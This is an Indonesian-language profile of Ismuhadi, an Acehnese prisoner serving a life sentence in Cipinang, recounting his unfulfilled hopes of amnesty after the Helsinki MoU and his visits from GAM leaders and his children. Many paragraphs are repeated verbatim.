Ismuhadi membaca puisi tentang tsunami di Aceh, lalu hasil dari sumbangan berupa uang dan pakaian itu, Ismuhadi dan Lapas Cipinang menyerahkan sumbangan itu ke Stasiun Televisi Lativi untuk disalurkan ke Aceh. Begitu besar kepedulian semua napi di Cipinang terhadap saudara-saudara kita yang tengah ditimpa musibah di Aceh.
Berbicara dengan Cut Nur Asikin Saat Dihantam Gelombang
Detik detik terjadinya gempa pukul 09, Ismuhadi sedang berbicara dengan Cut Nurasikin melalui HP, karena kebetulan pagi itu Cut Nur Asikin berulang tahun.
Detik detik terjadinya gempa pukul 09, Ismuhadi sedang berbicara dengan Cut Nurasikin melalui HP, karena kebetulan pagi itu Cut Nur Asikin berulang tahun.
Tiba-tiba, terdengar teriakan Kak Cut Nurasikin, “Allahu Akbar... Allahu Akbar...” Lalu terputus dan tak pernah tersambung lagi hingga detik ini. Namun dalam benak hati dan fikiran Ismuhadi, Cut Nur Asikin masih hidup. Ismuhadi tak pernah percaya Cut Nur Asikin telah tiada untuk selamanya, telah kembali ke alam keabadian sepanjang masa.
Iasmuhadi menegaskan, jangan pernah berkata di hadapan ismuhadi Cut Nurasikin telah tiada untuk selama lamanya, Ismuhadi bisa marah. Bahkan ketika Po Cut Endang, anak bungsu Kak Cut Nurasikin yang kini melanjutkan pendidikan ke Mesir bertandang ke Cipinang, yang pertama ditanya Ismuhadi padanya, “Apa kabar mamak pocut?”
Pocut endang terdiam bisu di hadapan Ismuhadi lalu mengeluarkan sebuah pemberian terbungkus kado. Ismuhadi membawa bungkusan itu ke kamarnya, lalu dibukanya pelan-pelan, isi kado tersebut sebuah buku berjudul “LA TAHZAN”. Begitu pula ketika Ismuhadi menelpon Cut Rita, anak tertua dari almh Cut Nurasikin, Ismuhadi selalu bilang, “Mamakmu masih hidup, tolong cari dia, minta tolong untuk bebaskan Ismuhadi.”
Cut Rita selalu meyakinkan; “Teungku Is, mamak sudah ga ada, kita harus ikhlas.” Lalu Ismuhadi menjawab, “Benar juga ya mamak sudah ga ada, seandainya masih ada mamak hari ini pasti Teungku Is sudah dibebaskan dari penjara,” ucap Ismuhadi pada anak tertua Cut Nurasikin itu.
Ismuhadi sangat menghormati dan mengagumi sosok Tjut Nurasikin, bagi Ismuhadi Tjut Nurasikin adalah jelmaan Tjut Nyak Dhien yang begitu gigih berjuang demi rakyat Aceh.
Ismuhadi berharap, semoga akan lahir kembali Tjut Nyak Dhien-Tjut Nyak Dhien junior yang ikhlas berjuang demi bangsanya, meskipun kini arena pertempuran telah berubah, bukan masanya lagi di zaman moderen ini berperang melawan penindasan dengan senapan dan senjata tajam, karena tak ada lagi musuh, tak ada lagi penjajahan dalam bentuk dan arti yang harfiah. Lebih lagi pasca penandatangan nota kesepahaman bersama MoU Helsinki antara pemerintah RI dan GAM.
“Sebelum Ajal, Izinkan Saya Menjabat Tangan Wali Nanggroe”
Kiriman antara Jeruji Baja, Tahun 2005. Setelah 5 tahun menjalani hidup di penjara, jauh dari anak-anak dan isteri tercinta, Ismuhadi merasakan derita nan dalam, tak terlukis kata dan suara. Ia sadar kini, tidak ada tempat yang lebih buruk di dunia selain penjara. Harus hidup serba terbatas dan mesti bisa membawa diri di antara 4000 penghuni penjara dengan berbagai macam latar belakang dan kasus yang terkadang diwarnai kerusuhan antar geng.
Kiriman antara Jeruji Baja, Tahun 2005. Setelah 5 tahun menjalani hidup di penjara, jauh dari anak-anak dan isteri tercinta, Ismuhadi merasakan derita nan dalam, tak terlukis kata dan suara. Ia sadar kini, tidak ada tempat yang lebih buruk di dunia selain penjara. Harus hidup serba terbatas dan mesti bisa membawa diri di antara 4000 penghuni penjara dengan berbagai macam latar belakang dan kasus yang terkadang diwarnai kerusuhan antar geng.
Setiap waktu hatinya meronta dan menjerit, “Andaikan mungkin, sehari saja rasanya, jangan sampai mengalami hidup di penjara.” Namun ia menenagkan diri dengan mengenag penderitaan rakyat Aceh ketika DOM dan Darurat Militer, yang menurutnya, derita Aceh masa itu jauh lebih mengerikan, tidaklah berbanding dengan penderitaan yang dialaminya.
Dengan mengingat ingat penderitaan rakyat Aceh itulah, Ismuhadi ikhlas dan tabah menjalani kehidupan di penjara, bahkan masih mampu menyisihkan sedikit demi sedikit uang, lalu mengirimkan ke penjara lain seperti, Cirebon, Malang, dll. Kiriman itu untuk meringankan beban tapol/napol Aceh yang ditahan di sana.
Angin Salju Helsinki
2005 awal Agustus datang kabar gembira dari Ustad Muzakkir Hamid yang bermukim di Swedia mengabarkan akan ada perundingan dengan RI. sampai dimulainya perundingan itu, Ismuhadi masih terus mendapat kabar setiap malam tentang materi-materi yang akan disepakati bersama, termasuk point tentang amnesty. Seingat Ismuhadi, ada 4 point yang ada dalam draft perundingan namun tidak ada dalam MoU Helsinki yang ditandatangani 15 Agustus. Entah kenapa, wallahu ‘alam. Ismuhadi tak tahu kemana 4 point yang ada dalam draft tsb.
2005 awal Agustus datang kabar gembira dari Ustad Muzakkir Hamid yang bermukim di Swedia mengabarkan akan ada perundingan dengan RI. sampai dimulainya perundingan itu, Ismuhadi masih terus mendapat kabar setiap malam tentang materi-materi yang akan disepakati bersama, termasuk point tentang amnesty. Seingat Ismuhadi, ada 4 point yang ada dalam draft perundingan namun tidak ada dalam MoU Helsinki yang ditandatangani 15 Agustus. Entah kenapa, wallahu ‘alam. Ismuhadi tak tahu kemana 4 point yang ada dalam draft tsb.
Menyaksikan penandatanganan MoU Helsinki dari televisi membuat Ismuhadi bersujud syukur. Kebasanpun terbayang di depan mata. Tak pernah Ismuhadi bayangkan akan mendekam di penjara hingga kini, apalagi satu persatu rekan Ismuhadi telah dipulangkan ke Aceh karena mendapatkan amnesty. Setelah ribuan tapol/napol GAM dipulangkan ke Aceh, lalu Ismuhadi mengontak Meuntroe Malik Mahmud di Swedia, Meuntroe minta data penghuni penjara yang belum menerima amnesty. Lalu Faisal Ridha dari SIRA dan isterinya bahu-membahu mengirimkan data mereka, Meuntroe berharap agar Ismuhadi dan kawan-kawan bersabar karena akan segera diurus. Setelah rombongan juru runding yang ditahan bebas dan berangkat ke Swedia menemui Wali Nanggroe.
Dijenguk Petinggi GAM dan Janji Dibebaskan
Saat pulang dari Swedia, perunding itu lansung ke Jakarta dan menyempatkan diri mengunjungi Ismuhadi. Yang berkunjung saat itu adalah Tgk.Nasruddin bin Ahmed, Almarhum Tgk.Muhammad Usman Lampoeh Awe, didampingi Muhammad Nazar dari SIRA. Ismuhadi san penjenguk itu bertemu sejenak, melepas meusyen. Pun di bulan Ramadhan itu mereka berpesan pada Ismuhadi agar sabar karena sebentar lagi Ismuhadi akan dibebaskan, lalu mereka pulang ke Aceh, meninggalkan Ismuhadi dan kawan-kawan dalam harapan besar. Kebebasan.
Saat pulang dari Swedia, perunding itu lansung ke Jakarta dan menyempatkan diri mengunjungi Ismuhadi. Yang berkunjung saat itu adalah Tgk.Nasruddin bin Ahmed, Almarhum Tgk.Muhammad Usman Lampoeh Awe, didampingi Muhammad Nazar dari SIRA. Ismuhadi san penjenguk itu bertemu sejenak, melepas meusyen. Pun di bulan Ramadhan itu mereka berpesan pada Ismuhadi agar sabar karena sebentar lagi Ismuhadi akan dibebaskan, lalu mereka pulang ke Aceh, meninggalkan Ismuhadi dan kawan-kawan dalam harapan besar. Kebebasan.
Setahun Janji Tak Ditepati
Tahun 2006, Ismuhadi dan kawan-kawan belum kunjung dibebaskan. Padahal jelas-jelas dalam dakwaan maupun tuntutan jaksa, Ismuhadi disebut sebagai Panglima GAM Wilayah Jabotabek. Dengan segala upaya Ismuhadi mencari tau apa gerangan yang terjadi di luar penjara hingga ia dan kawan-kawan belum dibebaskan. Ismuhadi lalu menghubungi Irwandi Yusuf, yang waktu itu sebagai perwakilan senior di AMM. Ia pun menghubungi Munawar Liza Zaenal.
Tahun 2006, Ismuhadi dan kawan-kawan belum kunjung dibebaskan. Padahal jelas-jelas dalam dakwaan maupun tuntutan jaksa, Ismuhadi disebut sebagai Panglima GAM Wilayah Jabotabek. Dengan segala upaya Ismuhadi mencari tau apa gerangan yang terjadi di luar penjara hingga ia dan kawan-kawan belum dibebaskan. Ismuhadi lalu menghubungi Irwandi Yusuf, yang waktu itu sebagai perwakilan senior di AMM. Ia pun menghubungi Munawar Liza Zaenal.
Orang yang dihubungi tadi, meminta Ismuhadi mengirimkan data seluruh tapol/napol GAM yang belum mendapat amnesty. Seingat ismuhadi, waktu itu ada 114 orang yang tersisa di penjara Pulau Jawa dan Sumatera. Menurut Munawar Liza, dalam daftar usulan amnesty susulan, nama Ismuhadi ada di urutan pertama. Nama Irwan di urutan kedua lalu Ibrahim di urutan ketiga, dan seterusnya, berjumlah 114 orang.
Selamat, Sebentar Lagi Kamu Bebas
Ismuhadi dan kawan-kawan menanti dengan harap-harap cemas. lalu menerima kabar akan dibebaskan. Bahkan Kalapas Cipinang yang dijabat Pak Djoko Mardjo, waktu itu telah mencium Pipi Ismuhadi dan mengucapkan, “Selamat, sebentar lagi kamu akan bebas karena surat-suratnya sudah ada di meja Pak Menteri Hukum yang dijabat Hamid Awaluddin pada saat itu.
Ismuhadi dan kawan-kawan menanti dengan harap-harap cemas. lalu menerima kabar akan dibebaskan. Bahkan Kalapas Cipinang yang dijabat Pak Djoko Mardjo, waktu itu telah mencium Pipi Ismuhadi dan mengucapkan, “Selamat, sebentar lagi kamu akan bebas karena surat-suratnya sudah ada di meja Pak Menteri Hukum yang dijabat Hamid Awaluddin pada saat itu.
Ismuhadi menanti dan menanti namun tak kunjung bebas. Ismuhadi menghubungi Irwandi Yusuf dan Munawar Liza, kini Walikota Sabang, namun belum ada titik terang. Agustus 2006 menjelang peringatan 1 tahun MoU Helsinki, Tgk Zakaria Saman menelpon Ismuhadi dan memintany agar bersedia dipindahkan ke lapas di Wiliyah Aceh. Setelah terjadi perdebatan panjang, Ismuhadi bertanya, “Kenapa ada diskrimnasi .” Tgk Zakaria Saman menjawab pertanyaan itu dengan beberapa hal yang tidak dapat difahami Ismuhadi pahami. Namun akhirnya Ismuhadi setuju untuk pindah ke lapas Aceh, tapi belum juga dapat kepastian hingga memasuki akhir tahun 2006 lalu.
Teman di Kursi Kuasa, Ismuhadi di Balik Terali Baja
Satu persatu kawan di masa berjuang dan menderita bersama dahulunya kini menjadi pejabat penting di Aceh. Beragam suka dan duka di penjara; Ismuhadi mengaku, ada yang masih sangat tinggi kepeduliannya terhadap nasib ia dan temannya, seperti Pak Gubernur dan Pak Wagub juga Pak Walikota dan Pak Wakil Walikota Sabang.
Satu persatu kawan di masa berjuang dan menderita bersama dahulunya kini menjadi pejabat penting di Aceh. Beragam suka dan duka di penjara; Ismuhadi mengaku, ada yang masih sangat tinggi kepeduliannya terhadap nasib ia dan temannya, seperti Pak Gubernur dan Pak Wagub juga Pak Walikota dan Pak Wakil Walikota Sabang.
Dilupakan oleh Orang yang Ditolong
Ada juga yang mulai memandang sebelah mata kepada Ismuhadi dan teman-teman di penjara. Bahkan ada seorang Wakil Bupati yang setiap Hari Sabtu ke tempat isteri mudanya di Jakarta, lalu mondar mandir di depan Penjara Cipinang.
Ada juga yang mulai memandang sebelah mata kepada Ismuhadi dan teman-teman di penjara. Bahkan ada seorang Wakil Bupati yang setiap Hari Sabtu ke tempat isteri mudanya di Jakarta, lalu mondar mandir di depan Penjara Cipinang.
“Mereka memang datang ke Jakarta, namun tak pernah mampir pada kami, ataupun sekedar melempar sebungkus nasi dari jalanan dan anggap saja nasi bungkus dilempar untuk anjing2 GAM yang masih di penjara,” jerit Ismuhadi, mengenang balasan temannya yang dulu untuk pulang ke Aceh pernah minta ongkos ke Ismuhadi di bengkel Krueng Baroe Motor. Ada juga seorang lagi yang kini jadi Wakil Bupati yang sering ke Jakarta, bahkan waktu kedatangan Wali Nanggroe ke daerahnya dia lebih memilih pergi ke Jakarta.
Di masa Darurat Militer, orang yang kini Wakil Bupati itu lari ke Jakarta, tinggal di Simpang Garuda, hampir tiap bulan datang ke Penjara Cipinang dan setiap ketemu Ismuhadi pasti dia selalu menangis. Lalu Ismuhadi bertanya;
“Kenapa Teungku menangis?” “Sewa rumah belum bayar dan beras habis,” jawab orang yang kini Wakil Bupati itu. Dengan penuh iba, Ismuhadi merogoh saku celana, mengambil uang lalu memberikan sama Tengku tersebut. Ismuhadi di penjara tapi masih peduli sama nasibnya, namun setelah kini menjadi Wakil Bupati tak pernah lagi kelihatan batang hidungnya. Kacang lupa kulitnya. Tak bisa balas budi.
Terima Surat Dipulangkan
Tahun 2007 Tanagal 15 Mei 2007, Ismuhadi menerima surat perintah akan dipulangkan ke Aceh. Bunyi suratnya antara lain “Sehubungan dengan perintah Bapak Dirjend Pemasyarakatan, bersama ini kami pindahkan tahanan yang diduga terlibat dengan Gerakan Aceh Merdeka, atas nama T. Ismuhadi Jafar… “ dan seterusnya.
Pukul 10.15, Ismuhadi dibawa meninggalkan Lapas Kelas 1 Cipinang menuju Lapas Kelas 2a Khusus Narkotika Jakarta, yang lokasinya hanya berjarak 1 Km dari lapas Kelas 1 Cipinang. Alasan petugas di sana, tempat transit dan pengumpulan selama menunggu Nurdin dari Nusa Kambangan dan Ibrahim dari Cirebon.
Sesampai Ismuhadi di lapas tersebut, sudah ada Irwan, menunggu sebagai tuan rumah yang juga akan dipulangkan ke Aceh. Lalu datang Nurdin dari Nusa Kambangan. Setelah shalat dzuhur, Ibrahim datang dari Cirebon. Jam 4 sore, Pak Wibowo Joko Harjono selaku Kalapas Klas 2A, memberikan ucapan selamat dan briefing.
“Tiket dan uang jalan sudah diurus pihak dirjend dan kita akan berangkat ke Aceh tangaal 16 Mei, pukul 04.00,” kata Kalapas itu.
Tampak wajah-berseri senang dan gembira. Terbayang akan dipulangkan ke kampung halaman. Hidup sebagaimana layaknya manusia akan Ismuhadi dan tema-teman alami kembali.Namun setelah hari H dan jam J, Ismuhadi dan teman-teman tak juga diberangkatkan ke Aceh.
Batal Dipulangkan
Keesokan harinya, Ismuhadi mendapat penjelasan dari kalapas memberitahukan, pemulangan ke Aceh dibatalkan oleh pemerintah. Bak langit runtuh atas bumi, tubuh Ismuhadi dan teman-teman terasa luruh ke tanah. lemas lunglai mendengar keterangan kalapas.
Keesokan harinya, Ismuhadi mendapat penjelasan dari kalapas memberitahukan, pemulangan ke Aceh dibatalkan oleh pemerintah. Bak langit runtuh atas bumi, tubuh Ismuhadi dan teman-teman terasa luruh ke tanah. lemas lunglai mendengar keterangan kalapas.
2 bulan setengah menunggu di Lapas Klas 2A, namun tak ada juga kepastia. Tanggal 31 Juli malam, sekira pukul 23.00, Ismuhadi dijemput dari sel tahanan, lalu dipindah kembali ke Lapas Klas 1 Cipinang, di mana 2 hari sebelumnya, pada 29 Juli, telah terjadi kerusuhan besar yang menewas 2 orang foreman starnya Cipinang.
Dikunjungi petinggi GAM, RI, dan Penengah Luar negeri ke 2
Pertengahan Agustus, Peudana Meuntroe Malek Mahmud dan Meuntroe Uroesan Luwa Nanggroe Zaini Abdullah didampingi Meuntroe Pertahanan Tgk.Zakaria Saman juga Hamid Awaluddin dan Juha Christensen beserta rombongan datang mengunjungi Ismuhadi di penjara Cipinang. Setelah lelah dipingpong ke sana kemari dengan dikunjungi jajaran petinggi GAM dan RI serta CMI tersebut, Ismuhadi seolah mendapatkan tenaga baru untuk terus bersabar mengikuti proses pembebasan yang dijanjikan.
Pertengahan Agustus, Peudana Meuntroe Malek Mahmud dan Meuntroe Uroesan Luwa Nanggroe Zaini Abdullah didampingi Meuntroe Pertahanan Tgk.Zakaria Saman juga Hamid Awaluddin dan Juha Christensen beserta rombongan datang mengunjungi Ismuhadi di penjara Cipinang. Setelah lelah dipingpong ke sana kemari dengan dikunjungi jajaran petinggi GAM dan RI serta CMI tersebut, Ismuhadi seolah mendapatkan tenaga baru untuk terus bersabar mengikuti proses pembebasan yang dijanjikan.
Dikunjungi Petinggi GAM ke 3 Janji Dibebaskan Lagi
Tanggal 20 Agustus 2007, Panglima GAM Muzakkir Manaf datang bersama Jamaika, seorang ahli computer dan propaganda GAM selain Irwandi yusuf. Kunjungan Mualem ( sebutan GAM untuk Muzakkir Manaf) dan Jamaika melengkapi semangat yang dibawa para petinggi GAM. Lalu bulan Oktober dikunjungi oleh anggota dewan yang terhormat dari komisi A DPR Aceh, didampingi oleh Cut Fatma Dahlia (pengganti Cut Nurasikin di mata Ismuhadi) dan Iswadi Jamil dan rombongan dari FKTNA. Mereka pun berjanji akan segera menyurati presiden agar Ismuhadi dan teman-teman dapat dibebaskan.
Tanggal 20 Agustus 2007, Panglima GAM Muzakkir Manaf datang bersama Jamaika, seorang ahli computer dan propaganda GAM selain Irwandi yusuf. Kunjungan Mualem ( sebutan GAM untuk Muzakkir Manaf) dan Jamaika melengkapi semangat yang dibawa para petinggi GAM. Lalu bulan Oktober dikunjungi oleh anggota dewan yang terhormat dari komisi A DPR Aceh, didampingi oleh Cut Fatma Dahlia (pengganti Cut Nurasikin di mata Ismuhadi) dan Iswadi Jamil dan rombongan dari FKTNA. Mereka pun berjanji akan segera menyurati presiden agar Ismuhadi dan teman-teman dapat dibebaskan.
Kerusuhan LP Cipinang
Malam menunggu pagi lalu pagi menunggu datangnya malam, di penjara terasa lambat sekali jam berputar, apalagi menganggur karena pasca kerusuhan per Agustus 2007, seluruh unit usaha dan warung diambil alih dan dimonopoli oleh Koperasi Pegawai Lapas Cipinang. Praktis Ismuhadi menganggur ditambah dengan beberapa kebijakan yang diubah pasca kerusuhan.
Malam menunggu pagi lalu pagi menunggu datangnya malam, di penjara terasa lambat sekali jam berputar, apalagi menganggur karena pasca kerusuhan per Agustus 2007, seluruh unit usaha dan warung diambil alih dan dimonopoli oleh Koperasi Pegawai Lapas Cipinang. Praktis Ismuhadi menganggur ditambah dengan beberapa kebijakan yang diubah pasca kerusuhan.
Dulunya setiap kamar diijinkan masak sendiri di kamar masing-masing, tapi kini, tak diperbolehkan lagi. Semua napi harus makan nasi cadong, tetapi bagi napi koruptor yang kaya bisa berlangganan dengan catering atau dikirim dari rumahnya masing-masing. Peraturan di penjara tambah ketat, tak dibolehkan keluar sel tanpa surat jalan. Setiap minggu, handphone dirazia petugas, bila ketemu, ya, resikonya handphone hilang, dan orangnya dimasukkan ke sel tikus. Tiada hari tanpa kecemasan, meski berat, kalender telah berganti bulan.
Dikunjungi Petinggi GAM ke 4, Minta Sabar
Pada tanggal 15 di bulan Desember 2007, kembali Ismuhadi dikunjungi oleh petinggi GAM, antara lain Peudana Meuntroe Malek Mahmud, Meuntroe Uroesan Luwa Nanggroe, dr. Zaini Abdullah, Meuntroe Uroesan Pheng, Almarhum Tgk.Muhammad Usman Lampoh Awe, Panglima GAM Muzakkir Manaf, Panglima Wilayah Pidie Abu Razak, Panglima Wilayah Batee Ieliek Tgk.Darwis Djeunieb, Tgk.Yahya Muad, Ibrahim KBS, TM.Nazar, Tgk.Ramli, Tgk.Irsyadi Panton Labu, Hamid Awaluddin, dan rombongan.
Pada tanggal 15 di bulan Desember 2007, kembali Ismuhadi dikunjungi oleh petinggi GAM, antara lain Peudana Meuntroe Malek Mahmud, Meuntroe Uroesan Luwa Nanggroe, dr. Zaini Abdullah, Meuntroe Uroesan Pheng, Almarhum Tgk.Muhammad Usman Lampoh Awe, Panglima GAM Muzakkir Manaf, Panglima Wilayah Pidie Abu Razak, Panglima Wilayah Batee Ieliek Tgk.Darwis Djeunieb, Tgk.Yahya Muad, Ibrahim KBS, TM.Nazar, Tgk.Ramli, Tgk.Irsyadi Panton Labu, Hamid Awaluddin, dan rombongan.
Tadi ismuhadi berfikir, kali ini akan pulang ke Aceh, karena begitu lengkap yang datang berkunjung, namun Ismuhadi harus kembali bersabar karena kedatangan para petinggi tersebut bukan untuk menjemput Ismuhadi, namun masih datang dan meminta Ismuhadi untuk bersabar lagi. “Insya Allah, uloen tuan saba jalani hudep loen tuan lam peunjara, bah pih kana MoU Helsinki,” jawab Ismuhadi dalam Bahasa Aceh yang sopan.
Setelah dikunjungi para petinggi itu lalu berpisah, Ismuhadi kembali dengan langkah gontai menuju kamar selnya yang pengab dan sempit.
Semua Tak Berkutik untuk Menolong Ismuhadi
Ismuhadi menjalani kehidupan di penjara dengan tabah dan sabar entah sampai kapan. Semua lini usaha pembebasan telah ia tempuh, namun belum membuahkan hasil, yang diyakininya semua adalah kehendak Sang Pencipta, pasti ada rahasia-Nya di balik semua kejadian, dan hanya orang-orang yang mampu mengambil hikmah dari setiap kejadian, yang akan mengetahui rahasia Allah SWT dan selalu bersyukur atas segala yang diterima. Ismuhadi yakin, yang terpenting adalah tak pernah berputus asa akan rahmat Allah, selalu berusaha, karena ikhtiar itu wajib hukumnya.
Ismuhadi menjalani kehidupan di penjara dengan tabah dan sabar entah sampai kapan. Semua lini usaha pembebasan telah ia tempuh, namun belum membuahkan hasil, yang diyakininya semua adalah kehendak Sang Pencipta, pasti ada rahasia-Nya di balik semua kejadian, dan hanya orang-orang yang mampu mengambil hikmah dari setiap kejadian, yang akan mengetahui rahasia Allah SWT dan selalu bersyukur atas segala yang diterima. Ismuhadi yakin, yang terpenting adalah tak pernah berputus asa akan rahmat Allah, selalu berusaha, karena ikhtiar itu wajib hukumnya.
Kabar Hasan Tiro Pulang
Kini, setelah 8 tahun dipenjara, jauh dari sanak saudara dan kampung halaman, Ismuhadi mendengar bahwa Wali Nanggroe Tgk. Hasan di Tiro telah pulang mengunjungi Aceh, dengan seksama Ismuhadi mengikuti setiap pemberitaan di media massa, matanya berkaca-kaca menyaksikan tokoh idolanya turun dari tangga pesawat yang membawanya dari malaysia dan disambut oleh jutaan rakyat Aceh dengan wajah gembira.
Kini, setelah 8 tahun dipenjara, jauh dari sanak saudara dan kampung halaman, Ismuhadi mendengar bahwa Wali Nanggroe Tgk. Hasan di Tiro telah pulang mengunjungi Aceh, dengan seksama Ismuhadi mengikuti setiap pemberitaan di media massa, matanya berkaca-kaca menyaksikan tokoh idolanya turun dari tangga pesawat yang membawanya dari malaysia dan disambut oleh jutaan rakyat Aceh dengan wajah gembira.
Ismuhadi bergumam dalam hati, andai saja dia telah bebas pasti dia akan menjabat tangan wali yang dikaguminya sejak duduk di bangku SMP. Dia berdoa ‘semoga kedatangan Wali Nanggroe akan membawa kedamaian di bumi Aceh, meski dia tahu persis masih ada pihak-pihak yang tak ingin Aceh damai, maklum saja, kalau Belanda menyebut Aceh dengan sebutan “negeri sejuta perang”. Begitulah asa Ismuhadi dan kawan-kawannya sesama tapol/napol Aceh yang belum mendapatkan amnesty.
Ismuhadi tak sendiri di penjara, masih ada Irwan Tiro, masih ada Ibrahim Sawang yang dihukum sama dengan Ismuhadi, yaitu dihukum dengan hukuman penjara seumur hidup. mereka semua memiliki keinginan dan harapan yang sama, ingin bebas.
Ingin Menjabat Tangan Hasan Tiro Sebelum Ajal
Tidak ada penyesalan di benak Ismuhadi atas semua yang menimpanya, yang ada hanya harapan ‘semoga Wali Nanggroe bersedia membebaskan Ismuhadi dan teman-teman, sebagaimana ribuan kawan-kawan seperjuangan lainnya, yang telah terlebih dahulu menghirup udara bebas, sesuai dengan isi MoU Helsinki. Ismuhadi bercita-cita, sebelum ajal datang menjemputnya, dia ingin berjabat tangan dengan Wali Nanggroe, Tgk.Hasan Muhammad di Tiro.
Tidak ada penyesalan di benak Ismuhadi atas semua yang menimpanya, yang ada hanya harapan ‘semoga Wali Nanggroe bersedia membebaskan Ismuhadi dan teman-teman, sebagaimana ribuan kawan-kawan seperjuangan lainnya, yang telah terlebih dahulu menghirup udara bebas, sesuai dengan isi MoU Helsinki. Ismuhadi bercita-cita, sebelum ajal datang menjemputnya, dia ingin berjabat tangan dengan Wali Nanggroe, Tgk.Hasan Muhammad di Tiro.
Airmata Tumpah Saat Dibesuk Si Buah Hati
Bagi Ismuhadi, hal terberat berada di penjara adalah ketika Tadashi Mulana dan Cahya Keumala datang membesuk. Setiap kedua buah hati itu diantar ke pintu portir karena jam bezoek telah habis, mereka selalu bertanya; “Ayah kapan pulang?” Tak mampu menjawab perntanyaan mereka, Ismuhadi hanya terdiam dengan kerongkongan terasa dicekik, nggak mampu mengeluarkan sepatah katapun.
Bagi Ismuhadi, hal terberat berada di penjara adalah ketika Tadashi Mulana dan Cahya Keumala datang membesuk. Setiap kedua buah hati itu diantar ke pintu portir karena jam bezoek telah habis, mereka selalu bertanya; “Ayah kapan pulang?” Tak mampu menjawab perntanyaan mereka, Ismuhadi hanya terdiam dengan kerongkongan terasa dicekik, nggak mampu mengeluarkan sepatah katapun.
Biasanya anak-anak melanjutkan; “kalo ayah udah pulang ke rumah, kan bisa anter jemput kami sekolah yah,” kata anak-anaknya dengan polos, tak mengerti ayahnya dihukum ‘seumur hidup harus berada di penjara. Untuk menghibur anak-anak, Ismuhadi selalu menutup dengan kalimat; Insya Allah ayah akan pulang, do’akan ayah, ya nak !” Serentak anak-anak mengangguk tanda setuju lalu pelan-pelan mereka melepaskan pelukan dan siap untuk kembali ke rumah.
Banyak juga di antara teman-teman yang dulu sama-sama berjuang namun kini telah lupa diri bahkan kalaupun datang ke Penjara Cipinang, hanya untuk menambah penderitaan Ismuhadi dengan kalimat-kalimat yang tak menghibur, contohnya; “Tengku tidak bisa diberikan amnesty karena Tengku tak mau mengaku GAM, dan Tengku dianggap terorrist.” Ismuhadi hanya mengurut dada mendengar tudinganitu. Ia pasrah apapun kata mereka, karena apa yang telah Ismuhadi sumbangkan untuk bangsanya yang tertindas bukan untuk orang per orang atau pribadi, tetapi Lillahi Ta’ala, demi bangsa dan rakyat serambi mekkah.
Lalu untuk menghibur diri, Ismuhadi menjawab pertanyaan penjenguk sinis itu, “Untuk apa mengaku-ngaku GAM, jika hanya untuk menjual GAM demi kepentingan pribadi...”
Begitu pula soal tudingan terorrist, orang-orang yang paham hukum pasti tau Ismuhadi dan teman-temannya ditangkap lalu dipenjara tahun 2000. Sementara undang-ungdang anti terorrist lahir tahun 2002, setelah tragedi kemanusiaan bom bali.
Ismuhadi berharap semoga orang-orang seperti tadi sadar dan belajar hokum. Ia mengharap sangat, semoga Pemerintah RI dan GAM benar-benar memiliki moral untuk mengimplementasikan pasal demi pasal dalam MoU Helsinki, termasuk butir tentang amnesty bagi sipapun yang terlibat dengan Gerakan Aceh Merdeka, baik lansung maupun tak lansung. Karena sangat jelas, di dalam Dakwaan dan Tuntutan agar Hakim Menjatuhkan Pidana Hukuman mati pada Ismuhadi, yang dibacakan Jaksa Penuntut Umum Endang Rachwan,SH, di PN Jakarta Selatan, menyebutkan dengan tegas kalimat, “Teuku Ismuhadi adalah Panglima GAM untuk Wilayah Jakarta Bogor Tangerang Bekasi, yang bertugas menghubungkan anggota GAM di dalam negeri dengan GAM yang berada di luar negeri.
Akankah Ismuhadi mendapatkan amnesty atau dijadikan tumbal oleh penguasa? Semuanya berpulang pada penguasa pengurus pemerintahan, karena menurut Ismuhadi, “Seorang penguasa yang sedang memegang kekuasaan dapat melakukan apa saja, termasuk menjadikan siapa saja menjadi siapa saja.
Semoga tak ada lagi darah yang tumpah di bumi Serambi Mekkah, semoga tak akan ada lagi putera puteri terbaik bangsa yang dikorbankan demi kepentingan kekuasaan. Semoga tak ada lagi Ismuhadi, Irwan Tiro, Ibrahim Sawang lainnya yang mengalami nasib seperti mereka. Cukuplah mereka sebagai korban terakhir dari sebuah tirani. Ismuhadi merindukan Aceh, rindu ingin berenang dan mencari Ikan Keureulieng kembali di Krueng Keumala U Gadeng dan Krueng Tiro. Welcome Home The Highness, I’m so proud of you! [Editor Thayeb loh Angen]